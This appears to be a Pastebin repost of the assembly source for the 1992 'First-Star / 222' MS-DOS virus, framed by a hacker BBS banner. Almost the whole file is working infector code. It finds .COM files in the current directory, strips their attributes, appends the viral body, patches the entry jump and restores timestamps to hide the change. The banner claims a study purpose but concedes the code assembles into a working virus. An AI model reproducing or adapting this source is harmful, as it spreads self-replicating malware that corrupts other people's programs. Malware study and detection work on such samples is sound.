Advertisement
FlyFar

Virus.MSDOS.Unknown.1st_star - Source Code

May 16th, 2024
551
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 6.80 KB | Cybersecurity | 0 0
  1.  
  2. ;****************************************************************************;
  3. ;                                                                            ;
  4. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  5. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  6. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  7. ;                     -=]                            [=-                     ;
  8. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  9. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  10. ;                     -=]                            [=-                     ;
  11. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  12. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  13. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  14. ;                                                                            ;
  15. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  16. ;                                                                            ;
  17. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  18. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  19. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  20. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  21. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  22. ; Is. Keep This Code in Responsible Hands!                                   ;
  23. ;                                                                            ;
  24. ;****************************************************************************;
  25. ;
  26. ;       First-Star / 222 Virus
  27. ;
  28. ;       (C) by Glenn Benton in 1992
  29. ;       This is a non-resident direct action .COM infector in current dirs.
  30. ;
  31. ;
  32. ;
  33.                 Org 0h
  34.  
  35. Start:          Jmp MainVir
  36.                 Db '*'
  37.  
  38. MainVir:        Call On1
  39. On1:            Pop BP
  40.                 Sub BP,Offset MainVir+3
  41.                 Push Ax
  42.                 Mov Ax,Cs:OrgPrg[BP]
  43.                 Mov Bx,Cs:OrgPrg[BP]+2
  44.                 Mov Cs:Start+100h,Ax
  45.                 Mov Cs:Start[2]+100h,Bx
  46.         Mov Ah,1ah
  47.         Mov Dx,0fd00h
  48.         Int 21h
  49.         Mov Ah,4eh
  50. Search:         Lea Dx,FileSpec[BP]
  51.         Xor Cx,Cx
  52.         Int 21h
  53.                 Jnc Found
  54.                 Jmp Ready
  55. Found:          Mov Ax,4300h
  56.                 Mov Dx,0fd1eh
  57.                 Int 21h
  58.                 Push Cx
  59.                 Mov Ax,4301h
  60.                 Xor Cx,Cx
  61.                 Int 21h
  62.                 Mov Ax,3d02h
  63.                 Int 21h
  64.                 Mov Bx,5700h
  65.                 Xchg Ax,Bx
  66.                 Int 21h
  67.                 Push Cx
  68.                 Push Dx
  69.                 Mov Ah,3fh
  70.                 Lea Dx,OrgPrg[BP]
  71.                 Mov Cx,4
  72.                 Int 21h
  73.                 Mov Ax,Cs:[OrgPrg][BP]
  74.                 Cmp Ax,'MZ'
  75.                 Je ExeFile
  76.                 Cmp Ax,'ZM'
  77.                 Je ExeFile
  78.                 Mov Ah,Cs:[OrgPrg+3][BP]
  79.                 Cmp Ah,'*'
  80.                 Jne Infect
  81. ExeFile:        Call Close
  82.                 Mov Ah,4fh
  83.                 Jmp Search
  84. FSeek:          Xor Cx,Cx
  85.                 Xor Dx,Dx
  86.                 Int 21h
  87.                 Ret
  88. Infect:         Mov Ax,4202h
  89.                 Call FSeek
  90.                 Sub Ax,3
  91.                 Mov Cs:CallPtr[BP]+1,Ax
  92.                 Mov Ah,40h
  93.                 Lea Dx,MainVir[BP]
  94.                 Mov Cx,VirLen
  95.                 Int 21h
  96.                 Mov Ax,4200h
  97.                 Call FSeek
  98.                 Mov Ah,40h
  99.                 Lea Dx,CallPtr[BP]
  100.                 Mov Cx,4
  101.                 Int 21h
  102.                 Call Close
  103. Ready:          Mov Ah,1ah
  104.                 Mov Dx,80h
  105.                 Int 21h
  106.                 Pop Ax
  107.                 Mov Bx,100h
  108.                 Push Cs
  109.                 Push Bx
  110.                 Retf
  111. Close:          Pop Si
  112.                 Pop Dx
  113.                 Pop Cx
  114.                 Mov Ax,5701h
  115.                 Int 21h
  116.                 Mov Ah,3eh
  117.                 Int 21h
  118.                 Mov Ax,4301h
  119.                 Pop Cx
  120.                 Mov Dx,0fd1eh
  121.                 Int 21h
  122.                 Push Si
  123.                 Ret
  124.  
  125. CallPtr         Db 0e9h,0,0
  126. FileSpec    Db '*.COM',0
  127.  
  128. OrgPrg:         Int 20h
  129.                 Nop
  130.                 Nop
  131.  
  132. VirLen          Equ $-MainVir
  133.  
  134. ;****************************************************************************;
  135. ;                                                                            ;
  136. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  137. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  138. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  139. ;                     -=]                            [=-                     ;
  140. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  141. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  142. ;                     -=]                            [=-                     ;
  143. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  144. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  145. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  146. ;                                                                            ;
  147. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  148. ;                                                                            ;
  149. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  150. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  151. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  152. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  153. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  154. ; Is. Keep This Code in Responsible Hands!                                   ;
  155. ;                                                                            ;
  156. ;****************************************************************************;
  157.  
  158. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
  159. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
  160. ;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
  161. ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
  162.  
  163.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement